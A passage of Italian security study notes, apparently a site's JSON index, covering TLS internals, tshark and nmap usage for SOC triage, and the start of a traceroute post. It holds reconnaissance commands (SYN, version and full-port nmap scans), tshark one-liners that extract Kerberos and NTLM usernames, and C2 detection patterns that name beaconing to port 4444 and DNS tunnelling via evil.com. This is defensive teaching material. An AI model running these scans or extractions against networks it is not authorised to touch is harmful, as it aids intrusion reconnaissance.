S-\u003e\u003eB: Server Hello — algoritmo scelto + certificato B-\u003e\u003eB: Verifica catena certificato fino a Root CA B-\u003e\u003eS: Parametro pubblico DH (A = g^a) S-\u003e\u003eB: Parametro pubblico DH (B = g^b) note over B,S: Entrambi derivano la stessa chiave simmetrica note over B,S: Nessuno ha mai mandato la chiave sulla rete B-\u003e\u003eS: Dati cifrati con AES S-\u003e\u003eB: Risposta cifrata con AES Lla cifratura inizia sul computer della vittima, prima che il pacchetto esca.\nBrowser di Ubuntu │ │ 1. TCP handshake con il server (non cifrato) │ 2. TLS handshake (negoziazione algoritmi, scambio chiavi) │ 3. Derivazione chiave simmetrica — avviene localmente │ 4. Dati cifrati con AES │ ▼ [pacchetto già cifrato] ──► Kali (MITM) ──► internet ──► server Quello che Kali vede con il MITM ARP su traffico HTTPS:\nIP 192.168.64.3 \u0026gt; 216.58.x.x: TCP [SYN] IP 192.168.64.3 \u0026gt; 216.58.x.x: TLSv1.3 Client Hello IP 216.58.x.x \u0026gt; 192.168.64.3: TLSv1.3 Server Hello, Certificate IP 192.168.64.3 \u0026gt; 216.58.x.x: [dati cifrati] IP 216.58.x.x \u0026gt; 192.168.64.3: [dati cifrati] Vedi che sta avvenendo una comunicazione HTTPS, con quale server, quanto traffico, quando — ma non il contenuto. I dati sono già cifrati quando lasciano il browser.\nQuesto è esattamente perché HTTPS esiste: proteggere dal MITM di rete.\nLa catena CA — come si legge in pratica # Output reale di openssl s_client -connect google.com:443:\ndepth=2 C=US, O=Google Trust Services LLC, CN=GTS Root R1 # Root CA depth=1 C=US, O=Google Trust Services, CN=WR2 # Intermediate CA depth=0 CN=*.google.com # Certificato del sito Certificate chain: 0 s: CN=*.google.com i: WR2 # sito firmato da Intermediate 1 s: WR2 i: GTS Root R1 # Intermediate firmata da Root 2 s: GTS Root R1 i: GlobalSign # Root firmata da GlobalSign Il pattern: l'i (issuer) di ogni livello e' l's (subject) del livello sopra. E' una catena letterale — se un anello e' rotto, la verifica fallisce.\nGlobalSign Root CA (preinstallata nel tuo OS) └── GTS Root R1 (Intermediate — firmata da GlobalSign) └── WR2 (Intermediate — firmata da Root R1) └── *.google.com (firmata da WR2) Se il certificato e' scaduto o revocato:\nIl browser non va in HTTP — blocca la connessione L'utente vede il warning rosso Niente dati in chiaro — niente connessione Perfect Forward Secrecy # La E in ECDHE sta per Ephemeral — effimero.\nSessione 1: chiavi a1, b1 → chiave simmetrica K1 → scartata Sessione 2: chiavi a2, b2 → chiave simmetrica K2 → scartata Sessione 3: chiavi a3, b3 → chiave simmetrica K3 → scartata Come riconosci PFS nell'output di openssl:\nNew, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384 # \u0026#34;New\u0026#34; = chiavi generate ora, mai usate prima # Se vedessi: Reused, TLSv1.3, ... # \u0026#34;Reused\u0026#34; = PFS non funziona, chiavi riciclate TLS 1.3 rende ECDHE obbligatorio — PFS non e' piu' una scelta.\nPost-Quantum Cryptography # Output reale di google.com:\nNegotiated TLS1.3 group: X25519MLKEM768 X25519 → Diffie-Hellman su curva ellittica (protegge oggi) MLKEM768 → algoritmo post-quantum su reticoli (protegge dal futuro) X25519MLKEM768 → ibrido: se uno cede, l\u0026#39;altro tiene Un computer quantistico puo' rompere X25519. MLKEM768 resiste ai computer quantistici. Usandoli insieme il blast radius di una compromissione e' limitato.\nWildcard vs certificato specifico # # Wildcard — copre tutti i sottodomini di primo livello CN=*.google.com copre: mail.google.com, maps.google.com, drive.google.com NON copre: google.com, sub.mail.google.com # Certificato specifico CN=github.com copre: solo github.com Perche' GitHub preferisce certificati separati:\nWildcard compromesso: chiave rubata → tutti i sottodomini esposti Certificati separati: chiave rubata → solo quel dominio esposto api.github.com, gist.github.com → salvi Stesso principio dello sviluppo: blast radius minimo.\nConfronto TLS vs SSH # TLS SSH Scambio chiavi X25519MLKEM768 curve25519-sha256 Firma server ECDSA / certificato ed25519 / known_hosts Fiducia CA preinstallata nel OS TOFU — Trust On First Use Cifratura dati AES-256-GCM chacha20-poly1305 PFS ECDHE effimero curve25519 effimero Auth client certificato client password o challenge-response Replay protection — challenge casuale per firma Stessa struttura concettuale, implementazione diversa. Il problema da risolvere e' identico: identita' + canale cifrato + PFS.\nCertificato vs Chiavi Certificato → risponde a: \u0026quot;chi sei?\u0026quot; Chiave simmetrica AES → risponde a: \u0026quot;come cifriamo?\u0026quot;\nScenario Reale Blue Team # Un certificato in scadenza non e' solo un problema di UX — e' un alert operativo.\n# Controlla scadenza di piu\u0026#39; domini for domain in google.com github.com; do echo -n \u0026#34;$domain: \u0026#34; echo | openssl s_client -connect $domain:443 2\u0026gt;/dev/null \\ | openssl x509 -noout -enddate done Un certificato scaduto su un server interno che non vedi nel browser puo' indicare un servizio abbandonato — superficie di attacco non monitorata.\nWarning Un certificato valido non significa che il sito e' sicuro. Significa solo che la connessione e' cifrata. Un attaccante puo' avere un certificato valido per un sito di phishing.\nTip New vs Reused nell'output openssl e' il check rapido per verificare se PFS e' attivo su un servizio che stai ispezionando.\nCollegato a # crypto — categoria cryptography — teoria crittografica di base ssh-protocol — stesso schema concettuale, implementazione diversa openssl-s_client — tool per ispezionare TLS da terminale ","date":"7 aprile 2026","externalUrl":null,"permalink":"/concetti/ssl-tls/","section":"Concetti","summary":"Protocollo che cifra le connessioni di rete. TLS handshake, catena CA, Perfect Forward Secrecy, post-quantum cryptography. Confronto con SSH.","title":"SSL/TLS","type":"concetti"},{"content":" Cosa fa # Analizza traffico di rete da terminale usando lo stesso motore di Wireshark. Legge file .applica filtri display identici a Wireshark GUI, estrae campi specifici in output pipeable. Indispensabile su server remoti senza display grafico e per automatizzare analisi con script bash.\nInstallazione # sudo apt install tshark -y # Durante l\u0026#39;installazione: seleziona YES per permettere cattura a utenti non-root # Aggiungi il tuo utente al gruppo wireshark sudo usermod -aG wireshark barno # Rieffettua il login per applicare il gruppo # Verifica id | grep wireshark Sintassi # tshark [opzioni] [filtro]\nComandi essenziali # Comando Flag Significato flag Cosa fa tshark -r file.dfir -r read Legge un file .dfir tshark -i eth0 -i interface Cattura live sull'interfaccia tshark -r file.dfir -Y \u0026quot;filtro\u0026quot; -Y display filter Applica filtro display (stessa sintassi di Wireshark) tshark -r file.dfir -T fields -T fields fields output Output solo i campi specificati con -e tshark -r file.dfir -e ip.src -e extract field Specifica il campo da estrarre (usato con -T fields) tshark -r file.dfir -w out.dfir -w write Salva output filtrato in nuovo dfir tshark -G fields -G fields generate fields Lista tutti i campi disponibili tshark -r file.dfir -q -z io,phs -q -z quiet — statistics Sopprime output pacchetti, mostra solo statistiche Man online: https://www.wireshark.org/docs/man-pages/tshark.html\nStatistiche con -z # Il flag -z genera statistiche aggregate sul dfir. Si usa sempre con -q per silenziare l'output riga per riga.\nComando Cosa mostra tshark -r file.dfir -q -z io,phs Gerarchia protocolli — frames e bytes per protocollo tshark -r file.dfir -q -z conv,tcp Conversazioni TCP — IP:porta sorgente/destinazione, bytes scambiati tshark -r file.dfir -q -z expert Expert info — errori, warning, note rilevati automaticamente tshark -r file.dfir -q -z follow,tcp,ascii,0 Contenuto completo dello stream TCP numero 0 tshark -r file.dfir -q -z io,stat,1 Traffico per intervallo di 1 secondo — identifica burst e gap tshark -r file.dfir -q -z http,stat Statistiche HTTP — metodi e codici risposta tshark -r file.dfir -q -z http_req,tree Albero richieste HTTP per host e URI con conteggi io,phs = I/O Protocol Hierarchy Statistics — punto di partenza obbligatorio per qualsiasi analisi dfir: mostra subito cosa c'e' dentro.\nio,stat,N richiede obbligatoriamente l'intervallo N (secondi). tshark -q -z io,stat senza intervallo da' errore.\nPer trovare i burst: tshark -r file.dfir -q -z io,stat,1 \u0026gt; /tmp/stat.txt \u0026amp;\u0026amp; grep \u0026quot;\u0026lt;\u0026gt;\u0026quot; /tmp/stat.txt | grep -v \u0026quot;| 0 |\u0026quot;\nFiltri display — identici a Wireshark # # Flag TCP tshark -r file.dfir -Y \u0026#34;tcp.flags.syn == 1\u0026#34; tshark -r file.dfir -Y \u0026#34;tcp.flags.syn == 1 \u0026amp;\u0026amp; tcp.flags.ack == 0\u0026#34; tshark -r file.dfir -Y \u0026#34;tcp.flags.reset == 1\u0026#34; # Per IP tshark -r file.dfir -Y \u0026#34;ip.src == 192.168.64.200\u0026#34; tshark -r file.dfir -Y \u0026#34;ip.addr == 192.168.64.3\u0026#34; # Per porta tshark -r file.dfir -Y \u0026#34;tcp.port == 22\u0026#34; # Combinazioni tshark -r file.dfir -Y \u0026#34;tcp.flags.syn == 1 \u0026amp;\u0026amp; ip.src == 192.168.64.200\u0026#34; Triage SOC \u0026amp; Estrazione Utenti # Tshark e' perfetto per estrarre rapidamente chi e' loggato senza aprire la GUI:\n# Estrai username Kerberos (Authentication Service Request) tshark -r file.dfir -Y \u0026#34;kerberos.CNameString\u0026#34; -T fields -e kerberos.CNameString | sort | uniq # Estrai username NTLM tshark -r file.dfir -Y \u0026#34;ntlmssp.auth.username\u0026#34; -T fields -e ntlmssp.auth.username | sort | uniq # Estrai Hostname NBNS tshark -r file.dfir -Y \u0026#34;nbns\u0026#34; -T fields -e nbns.name | sort | uniq Estrazione campi — la potenza di tshark # Con -T fields -e campo estrai colonne specifiche pipeable con altri tool:\n# Estrai solo IP sorgenti tshark -r file.dfir -T fields -e ip.src # Estrai IP sorgente e destinazione tshark -r file.dfir -T fields -e ip.src -e ip.dst # Estrai porte tshark -r file.dfir -T fields -e tcp.srcport -e tcp.dstport # Estrai flag TCP tshark -r file.dfir -T fields -e tcp.flags Nomi dei campi disponibili:\n# Cerca tutti i campi IP tshark -G fields | grep \u0026#34;^F\\tip\\.\u0026#34; # Cerca tutti i campi TCP tshark -G fields | grep \u0026#34;^F\\ttcp\\.\u0026#34; Scoprire il nome esatto di un campo # La terza colonna di tshark -G fields è il nome del campo da usare in -Y e -e:\n# Trovare tutti i campi che contengono \u0026#34;hostname\u0026#34; tshark -G fields | grep -i hostname | awk -F\u0026#39;\\t\u0026#39; \u0026#39;{print $3}\u0026#39; # Trovare tutti i campi che iniziano per \u0026#34;ip\u0026#34; tshark -G fields | awk -F\u0026#39;\\t\u0026#39; \u0026#39;$3 ~ /^ip/ {print $3}\u0026#39; I nomi trovati con -G fields funzionano sia in -Y (filtro) che in -e (estrazione) — sono gli stessi identificatori.\nEspandere un frame completo # -V mostra la \u0026quot;matrioska\u0026quot; completa del frame: Ethernet → IP → TCP → protocollo applicativo.\n# Vedere tutto il contenuto di un frame specifico tshark -r file.pcap -Y \u0026#34;frame.number == 14417\u0026#34; -V # Versione selettiva: solo i campi che ti servono tshark -r file.pcap -Y \u0026#34;frame.number == 14417\u0026#34; \\ -T fields \\ -e frame.number \\ -e frame.len \\ -e ip.src \\ -e ip.dst \\ -e _ws.col.Protocol \\ -e _ws.col.Info -V è utile per esplorare; -T fields -e campo è utile quando sai già cosa cercare.\n-Y \u0026quot;kerberos\u0026quot; vs grep # -Y \u0026quot;kerberos\u0026quot; non è un grep sul testo — usa il motore di decodifica di Wireshark:\ndecodifica ogni frame fino al livello applicativo restituisce solo i frame dove il protocollo è effettivamente Kerberos puoi usare campi specifici: -Y \u0026quot;kerberos.CNameString\u0026quot;, -Y \u0026quot;kerberos.msg_type == 10\u0026quot; # Username da Kerberos (authentication request) tshark -r file.pcap -Y \u0026#34;kerberos.CNameString\u0026#34; \\ -T fields -e kerberos.CNameString | sort | uniq tshark come SQL # -Y e -T fields -e si comportano come clausole SQL:\nSQL tshark Funzione WHERE -Y \u0026quot;filtro\u0026quot; Seleziona solo i pacchetti che matchano SELECT -T fields -e campo Estrae le colonne che vuoi GROUP BY + COUNT + ORDER BY | sort | uniq -c | sort -rn Aggrega, conta, ordina I nomi dei campi di -G fields funzionano sia in -Y che in -e — sono gli stessi identificatori.\n# SELECT method, uri FROM packets WHERE method IS NOT NULL ORDER BY uri tshark -r file.dfir \\ -Y \u0026#34;http.request.method\u0026#34; \\ -T fields -e http.request.method -e http.request.uri -q e -T fields si escludono: -q sopprime l'output pacchetto, -T fields lo mostra strutturato. Non usarli insieme.\nCampi HTTP utili # Campo Cosa estrae http.request.method Metodo HTTP (GET, POST, PUT...) http.request.uri Path + query string richiesti http.host Header Host della richiesta http.response.code Codice risposta (200, 302, 404...) # Ricostruisci tutte le richieste HTTP: metodo + host + uri tshark -r file.dfir \\ -Y \u0026#34;http.request.method\u0026#34; \\ -T fields -e http.request.method -e http.host -e http.request.uri Per i DNS (dfir con traffico reale verso internet):\n# Query DNS richieste tshark -r file.dfir -Y \u0026#34;dns.flags.response == 0\u0026#34; -T fields -e dns.qry.name # Query DNS con IP risposta (A record) tshark -r file.dfir -Y \u0026#34;dns.flags.response == 1\u0026#34; -T fields -e dns.qry.name -e dns.a Pattern C2 — rilevare traffico Command \u0026amp; Control # Tre pattern principali che un SOC analyst cerca in un pcap sospetto.\nBeaconing # Il malware chiama casa a intervalli regolari. Si riconosce con io,stat: se vedi picchi di traffico periodici verso lo stesso IP, e' beaconing.\nRegola rapida:\nio,stat ti dice quando — picchi regolari nel tempo conv,tcp ti dice chi — la tabella delle conversazioni # 1. Trova il ritmo — RST regolari ogni 30 secondi = beaconing fallito (C2 offline) tshark -r file.pcap -q -z io,stat,30,\u0026#34;tcp.flags.reset==1\u0026#34; # 2. Trova il bersaglio tshark -r file.pcap -q -z conv,tcp Output sospetto in conv,tcp — stesso IP, stessa porta, frame e byte identici:\n| # | Address A | Address B | Frames | Bytes | |----|------------------------|----------------------|--------|-------| | 0 | 192.168.1.10:443 | 10.0.0.5:52341 | 8420 | 1.2MB | | 2 | 185.220.101.5:4444 | 10.0.0.5:39211 | 4 | 240B | ← | 3 | 185.220.101.5:4444 | 10.0.0.5:51092 | 4 | 240B | ← | 4 | 185.220.101.5:4444 | 10.0.0.5:61203 | 4 | 240B | ← Workflow completo:\nio,stat,30 → RST regolari ogni 30s → sospetto beaconing conv,tcp → piu\u0026#39; connessioni brevi stesso IP:porta → confermato whois IP → Tor exit node / hosting anonimo → C2 identificato Segnali di allarme: stesso IP esterno contattato ogni N secondi, traffico basso e costante, porta non standard (4444, 8080, 1337). RST regolari = beaconing con C2 offline.\nDNS tunneling # I dati vengono nascosti dentro le query DNS: il malware codifica il payload nel sottodominio e lo manda al nameserver controllato dall'attaccante.\n# Conta query DNS per dominio — cerca domini con centinaia di query tshark -r file.pcap -Y \u0026#34;dns.flags.response == 0\u0026#34; \\ -T fields -e dns.qry.name | sort | uniq -c | sort -rn # Estrai lunghezza subdomini — nel tunneling sono molto lunghi tshark -r file.pcap -Y \u0026#34;dns.flags.response == 0\u0026#34; \\ -T fields -e dns.qry.name | awk \u0026#39;{print length, $0}\u0026#39; | sort -rn | head -20 Segnali di allarme: sottodomini casuali e lunghi (es. a3f8bc12d.evil.com), molte query allo stesso dominio root, record TXT o MX insoliti in risposta.\nHTTP POST verso C2 # Il malware riceve comandi via risposta HTTP e manda risultati via POST. Il traffico sembra normale ma e' diretto verso IP sconosciuti o con User-Agent anomali.\n# POST ripetuti — identifica host e URI tshark -r file.pcap -Y \u0026#34;http.request.method == \\\u0026#34;POST\\\u0026#34;\u0026#34; \\ -T fields -e ip.dst -e http.host -e http.request.uri \\ | sort | uniq -c | sort -rn # User-Agent — C2 spesso usa stringhe strane o default di tool tshark -r file.pcap -Y \u0026#34;http.user_agent\u0026#34; \\ -T fields -e http.user_agent | sort | uniq -c | sort -rn Segnali di allarme: POST verso IP numerici (no hostname), URI con path casuali, User-Agent non standard, intervalli regolari.\nTip Flusso triage C2: prima io,stat per vedere i burst, poi conv,tcp per isolare gli IP sospetti, poi filtri mirati su DNS o HTTP per quel singolo IP.\nPattern Blue Team — analisi port scan # # Conta SYN per IP sorgente — rileva chi sta scansionando tshark -r file.dfir \\ -Y \u0026#34;tcp.flags.syn == 1 \u0026amp;\u0026amp; tcp.flags.ack == 0\u0026#34; \\ -T fields -e ip.src \\ | sort | uniq -c | sort -rn # Output: # 1001 192.168.64.200 ← port scan — 1001 SYN in 2 secondi # 11 192.168.64.1 # Conta RST per IP — porte chiuse vs scan tshark -r file.dfir \\ -Y \u0026#34;tcp.flags.reset == 1\u0026#34; \\ -T fields -e ip.src \\ | sort | uniq -c | sort -rn tshark vs tcpdump vs Wireshark # tcpdump → cattura live, filtri BPF, output testo grezzo veloce, scriptabile, nessuna dipendenza grafica tshark → stesso motore di Wireshark filtri display potenti (stessi di Wireshark GUI) estrazione campi strutturata pipeable con Unix tools Wireshark → GUI, colori, Follow TCP Stream, click analisi visiva di dfir complessi non automatizzabile Flusso tipico in un SOC:\nserver remoto: sudo tcpdump -i eth0 -w /tmp/capture.dfir scp capture.dfir ~/ analisi rapida: tshark -r capture.dfir -Y \u0026#34;filtro\u0026#34; | sort | uniq -c analisi visiva: Wireshark → File → Open → capture.dfir Script — analisi port scan da dfir # #!/bin/bash # analizza.sh — estrae IP sorgenti SYN e conta frequenza file=$1 if [ -z \u0026#34;${file}\u0026#34; ]; then echo \u0026#34;file mancante\u0026#34; exit 1 fi out=$(tshark -r \u0026#34;$file\u0026#34; \\ -Y \u0026#34;tcp.flags.syn == 1 \u0026amp;\u0026amp; tcp.flags.ack == 0\u0026#34; \\ -T fields -e ip.src \\ | sort | uniq -c) echo \u0026#34;$out\u0026#34; echo \u0026#34;---\u0026#34; echo \u0026#34;IP distinti: $(echo \u0026#34;$out\u0026#34; | wc -l)\u0026#34; echo \u0026#34;SYN totali: $(echo \u0026#34;$out\u0026#34; | awk \u0026#39;{sum += $1} END {print sum}\u0026#39;)\u0026#34; Output su dfir con nmap -sS:\n1001 192.168.64.200 --- IP distinti: 1 SYN totali: 1001 Scenario Reale # Un analista SOC riceve un dfir da un firewall — 50MB di traffico delle ultime 6 ore. Deve rispondere: c'è stato un port scan? Da chi?\n# Risposta in 3 secondi tshark -r firewall.dfir \\ -Y \u0026#34;tcp.flags.syn == 1 \u0026amp;\u0026amp; tcp.flags.ack == 0\u0026#34; \\ -T fields -e ip.src \\ | sort | uniq -c | sort -rn | head -10 Se un IP appare centinaia di volte in pochi secondi — port scan confermato. Senza tshark avrebbe dovuto aprire Wireshark, applicare filtri a mano, contare visivamente.\nDove l'ho usato # Settimana 6 — analisi dfir port scan nmap -sS Settimana 6 — script bash per contare SYN per IP sorgente Settimana 9 — network-defense reconstruction da dfir HTTP redirects (statistiche -z, estrazione campi HTTP) Note personali # Tip tshark -G fields | grep \u0026quot;^F\\t\u0026quot; lista tutti i campi disponibili — utile quando non ricordi il nome esatto di un campo da estrarre con -e o con -Y. Regola mentale: quando fai tshark -G fields, prendi sempre la terza colonna come chiave del display filter.\nNote Le virgolette doppie in bash preservano i newline nelle variabili. echo \u0026quot;$var\u0026quot; mantiene il formato, echo $var comprime tutto su una riga. Critico quando usi tshark in script bash con output multiriga.\nTip Su server remoti senza GUI: cattura con tcpdump, scarica con scp, analisi rapida con tshark, analisi visiva con Wireshark in locale. Questo e' il flusso standard in un SOC reale.\nNote Expert info vuota non e' un errore — significa traffico sano, nessuna anomalia di protocollo rilevata. Su dfir con problemi reali (retransmit, reset anomali, malformed packets) questa sezione e' ricca.\nTip -z help scrive su stderr. Per filtrare le statistiche disponibili con grep: tshark -z help 2\u0026gt;\u0026amp;1 | grep -i \u0026quot;http\u0026quot; — senza 2\u0026gt;\u0026amp;1 grep non vede nulla.\nCollegato a # file-descriptor — 2\u0026gt;\u0026amp;1 per filtrare -z help con grep\nlog — categoria\nincidents — categoria\nsystem — categoria\nwireshark — stessa sintassi filtri, versione GUI\ntcpdump — cattura il .dfir che tshark analizza\ntcp-handshake — i flag che tshark filtra\nnmap — genera il traffico che tshark analizza\n","date":"5 aprile 2026","externalUrl":null,"permalink":"/comandi/tshark/","section":"Comandi","summary":"Wireshark da terminale. Stessa logica e stessi filtri display di Wireshark GUI, ma tutto da riga di comando. Cattura traffico live o analizza file .dfir. Indispensabile su server senza GUI e per automatizzare analisi con script bash.","title":"tshark - terminal Wireshark","type":"comandi"},{"content":" Cosa fa # Mappa la rete mandando pacchetti TCP/UDP/ICMP verso host e porte target e analizza le risposte. Da un singolo SYN capisce se una porta e' aperta (risposta SYN-ACK), chiusa (risposta RST) o filtrata (silenzio). Usato per asset discovery, port scanning e audit di sicurezza.\nSintassi # nmap [opzioni] [target]\nTarget puo' essere: IP singolo, range (192.168.1.1-254), subnet (192.168.1.0/24), hostname.\nComandi essenziali # Comando Flag Significato flag Cosa fa nmap 192.168.64.3 — — Scan base — top 1000 porte TCP nmap -sS 192.168.64.3 -sS SYN scan SYN scan silenzioso — non completa il handshake nmap -sV 192.168.64.3 -sV Version detection Rileva versione del servizio in ascolto nmap -p 22 192.168.64.3 -p port Scansiona solo la porta specificata nmap -p- 192.168.64.3 -p- all ports Scansiona tutte le 65535 porte nmap -p 1-1000 192.168.64.3 -p range port range Scansiona un range specifico nmap -T4 192.168.64.3 -T4 timing Scansione piu' veloce (T0=lento, T5=aggressivo) nmap -O 192.168.64.3 -O OS detection Tenta di rilevare il sistema operativo nmap -A 192.168.64.3 -A aggressive OS + version + script + traceroute nmap -n 192.168.64.3 -n no DNS Non risolve i nomi DNS — piu' veloce Stati delle porte # nmap classifica ogni porta in uno di tre stati:\nOPEN → ha risposto con SYN-ACK un servizio e\u0026#39; in ascolto su quella porta CLOSED → ha risposto con RST la macchina e\u0026#39; raggiungibile ma nessun servizio ascolta FILTERED → nessuna risposta (timeout) un firewall blocca i pacchetti prima che arrivino nmap non sa se la porta esiste Dal punto di vista Blue Team:\nMolte OPEN → superficie di attacco ampia Molte CLOSED → server raggiungibile, servizi limitati Molte FILTERED → c\u0026#39;e\u0026#39; un firewall — l\u0026#39;attaccante deve lavorare di piu\u0026#39; SYN scan — come funziona davvero # -sS e' il default quando nmap gira con privilegi root. Non e' solo \u0026quot;difficile da loggare\u0026quot; — c'e' un motivo tecnico preciso:\nHandshake completo (senza -sS): Kali --[S]--\u0026gt; Ubuntu:22 Ubuntu --[S.]--\u0026gt; Kali Kali --[.]--\u0026gt; Ubuntu ← terzo ACK completa la connessione SSH vede la connessione auth.log registra l\u0026#39;evento SYN scan (-sS): Kali --[S]--\u0026gt; Ubuntu:22 Ubuntu --[S.]--\u0026gt; Kali Kali --[R]--\u0026gt; Ubuntu ← nmap manda RST invece di ACK il handshake non si completa mai SSH non viene mai coinvolto auth.log non vede nulla Il SYN scan opera sotto il livello applicativo — tocca solo TCP, non arriva mai al servizio in ascolto.\ntcpdump sul livello di rete: vede tutto ✓ auth.log, access.log: non vedono niente ✗ Lezione difensiva: i log applicativi da soli non bastano per rilevare un port scan. Serve cattura a livello di rete.\nCome appare in tcpdump e Wireshark # Output tcpdump durante un nmap -sS:\n# Porta aperta (22) 192.168.64.200 \u0026gt; 192.168.64.3.22: Flags [S] ← nmap manda SYN 192.168.64.3.22 \u0026gt; 192.168.64.200: Flags [S.] ← Ubuntu risponde: aperta 192.168.64.200 \u0026gt; 192.168.64.3.22: Flags [R] ← nmap taglia con RST # Porta chiusa (993) 192.168.64.200 \u0026gt; 192.168.64.3.993: Flags [S] ← nmap manda SYN 192.168.64.3.993 \u0026gt; 192.168.64.200: Flags [R.] ← Ubuntu risponde: chiusa Filtro Wireshark per rilevare il scan:\ntcp.flags.syn == 1 \u0026amp;\u0026amp; tcp.flags.ack == 0 ← tutti i SYN di nmap tcp.flags.syn == 1 \u0026amp;\u0026amp; tcp.flags.ack == 1 ← solo porte aperte ip.src == 192.168.64.3 \u0026amp;\u0026amp; tcp.flags.reset == 1 ← RST da Ubuntu (porte chiuse) ip.src == 192.168.64.200 \u0026amp;\u0026amp; tcp.flags.reset == 1 ← RST da nmap (chiude handshake) Combinazioni utili # # Scan veloce — top 100 porte nmap -F 192.168.64.3 # Scan completo con versioni nmap -sS -sV -p- 192.168.64.3 # Scan subnet intera — trova host vivi nmap -sn 192.168.64.0/24 # Scan con output su file nmap -sS -oN /tmp/scan.txt 192.168.64.3 # Scan con NSE script (SSL) nmap -p 31000-32000 --script ssl-cert 127.0.0.1 Sicurezza: cambiare la porta SSH non basta # Un'idea comune e' spostare SSH dalla 22 a una porta alta per nasconderla.\n# nmap trova SSH su qualsiasi porta in secondi nmap -p 1-65535 192.168.64.3 # PORT STATE SERVICE # 2222/tcp open ssh Spostare la porta e' un ostacolo di pochi secondi, non una difesa. La difesa reale e':\nPasswordAuthentication no ← elimina brute force PubkeyAuthentication yes ← solo chiave privata PermitRootLogin no ← root non accede direttamente Scenario Reale — Blue Team # Un analista SOC trova in tcpdump 2000 SYN dallo stesso IP verso porte diverse in meno di un secondo. Lancia nmap dalla sua macchina per verificare cosa e' davvero aperto:\nsudo nmap -sS -sV 192.168.10.45 # PORT STATE SERVICE VERSION # 22/tcp open ssh OpenSSH 8.9 # 80/tcp open http nginx 1.18 Confronta con l'inventario: la porta 80 non dovrebbe essere aperta su quella macchina. Possibile web shell installata dall'attaccante.\nDove l'ho usato # Bandit 16 — scansione porte 31000-32000 con --script ssl-cert Settimana 5 — SYN scan su Ubuntu, analisi flag in tcpdump Settimana 6 — SYN scan catturato in analizzato in Wireshark 1000 SYN → 999 porte chiuse (RST da Ubuntu), 1 aperta (porta 22) Script SSL/TLS # # Leggi il certificato di un host nmap --script ssl-cert -p 443 github.com # Elenca tutte le cipher suite supportate con valutazione nmap --script ssl-enum-ciphers -p 443 github.com Output di ssl-cert — campi chiave:\nCampo Cosa indica commonName dominio coperto dal certificato Subject Alternative Name tutti i domini coperti esplicitamente Issuer chi ha firmato il certificato Public Key type algoritmo della chiave pubblica (ec, rsa) Not valid after data di scadenza Output di ssl-enum-ciphers — cosa cercare: TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 → ha ECDHE → PFS garantita TLS_RSA_WITH_AES_256_CBC_SHA → NO ECDHE → niente PFS\nLe cipher suite senza ECDHE in TLS 1.2 sono un rischio: se la chiave privata del server viene rubata, tutto il traffico passato registrato da un attaccante diventa decifrabile. TLS 1.3 ha eliminato queste cipher suite — non sono più permesse.\nWarning Vedere cipher suite TLS_RSA_WITH_* senza ECDHE su un server interno è una finding da segnalare — considera di disabilitarle se non hai vincoli di compatibilità con client vecchi.\nNote personali # Tip nmap -sn 192.168.64.0/24 e' il modo piu' veloce per scoprire quali host sono vivi sulla rete senza scansionare le porte. Utile come primo passo in un incident response per mappare la LAN.\nWarning Esegui nmap SOLO su reti e sistemi di cui hai autorizzazione. In un SOC, lo usi per verificare la tua infrastruttura — non come strumento offensivo su reti altrui.\nNote tcpdump vede tutto il traffico generato da nmap. auth.log e i log applicativi non vedono nulla durante un SYN scan. Questo e' il motivo per cui il monitoraggio a livello di rete e' complementare e non sostituibile dai log applicativi.\nCollegato a # network — categoria incidents — categoria tcp-handshake — i flag SYN, SYN-ACK, RST che nmap usa e genera tcpdump — cattura il traffico generato da nmap per analizzarlo wireshark — analizza il dfir del port scan con filtri sui flag netcat — alternativa leggera per test su singole porte ","date":"3 aprile 2026","externalUrl":null,"permalink":"/comandi/nmap/","section":"Comandi","summary":"Mappa la rete mandando pacchetti TCP/UDP/ICMP verso host e porte target e analizza le risposte. Da un singolo SYN capisce se una porta e' aperta, chiusa o filtrata. Strumento standard per asset discovery, port scanning e audit di sicurezza.","title":"nmap - Network Mapper","type":"comandi"},{"content":" TL;DR traceroute -n 8.8.8.8 mostra i 14 router tra te e Google - ogni riga è un salto (hop) IP address = destinazione finale, non cambia mai; MAC address = tratto corrente, cambia ad ogni hop Il router legge l'IP dentro (la lettera), riscrive il MAC fuori (la busta) e passa il pacchetto al prossimo salto * * * non significa percorso interrotto - solo che quel router non risponde a ICMP/UDP; prova con -T (TCP) ▶ $ history traceroute -n 8.8.8.8 traceroute -I -n 8.8.8.8 sudo traceroute -T google.com ip neighbor show ip route show Sistema: Linux (testato su Kali 2024 e Ubuntu 24.04) Tools: traceroute, ip - già installati di default Conoscenze: nessuna - si parte da zero\nDigiti un indirizzo nel browser. In meno di un secondo la pagina appare.\nSembra magia. Non lo è.\nTra il tuo computer e il server di Google ci sono 14 router, migliaia di chilometri di fibra, e un meccanismo che quasi nessuno ha mai visto funzionare. Questo post lo mostra - partendo da un comando.\ngraph TD Problema[\"Cosa succede davvero\\nquando mando un pacchetto?\"] Problema --\u003e A1[\"Step 1 - traceroute\\nvedi i router sul percorso\"] Problema --\u003e A2[\"Step 2 - IP vs MAC\\ncapire i due indirizzi\"] Problema --\u003e A3[\"Step 3 - il viaggio\\nbusta che cambia ad ogni hop\"] A1 --\u003e Q1[\"Quanti hop?\\nChi li gestisce?\"] A2 --\u003e Q2[\"Perché due indirizzi?\\nCosa cambia, cosa rimane?\"] A3 --\u003e Q3[\"Come fa il router\\na sapere dove mandarlo?\"] Step 1 - Traceroute: vedi i router sul percorso # traceroute -n 8.8.8.8 Il flag -n evita la risoluzione DNS - l'output è più veloce e più leggibile.\nOutput reale dalla mia macchina (Kali Linux, lab UTM su Mac):\ntraceroute to 8.8.8.8 (8.8.8.8), 30 hops max, 60 byte packets 1 192.168.64.1 0.5 ms 2 192.168.1.254 7.0 ms 3 192.168.128.1 8.9 ms 4 * * * 5 172.30.25.209 36.7 ms 6 10.103.79.109 40.5 ms 7 10.1.129.41 33.8 ms 8 10.254.2.253 40.2 ms 9 93.57.68.133 41.3 ms 10 62.101.124.1 43.9 ms 11 209.85.168.64 43.8 ms 12 192.178.104.103 36.8 ms 13 192.178.82.61 36.7 ms 14 8.8.8.8 39.0 ms Ogni riga è un router. Ogni router è un hop - un salto.\nHop non è un acronimo: è una parola inglese che significa letteralmente \u0026quot;salto\u0026quot;. Un hop è il salto di un pacchetto da un router al successivo.\nCosa significa: in 14 salti, la mia richiesta raggiunge un server Google in Europa. Hop 1 risponde in 0.5ms (è il gateway della mia VM, in casa). Hop 14 risponde in 39ms 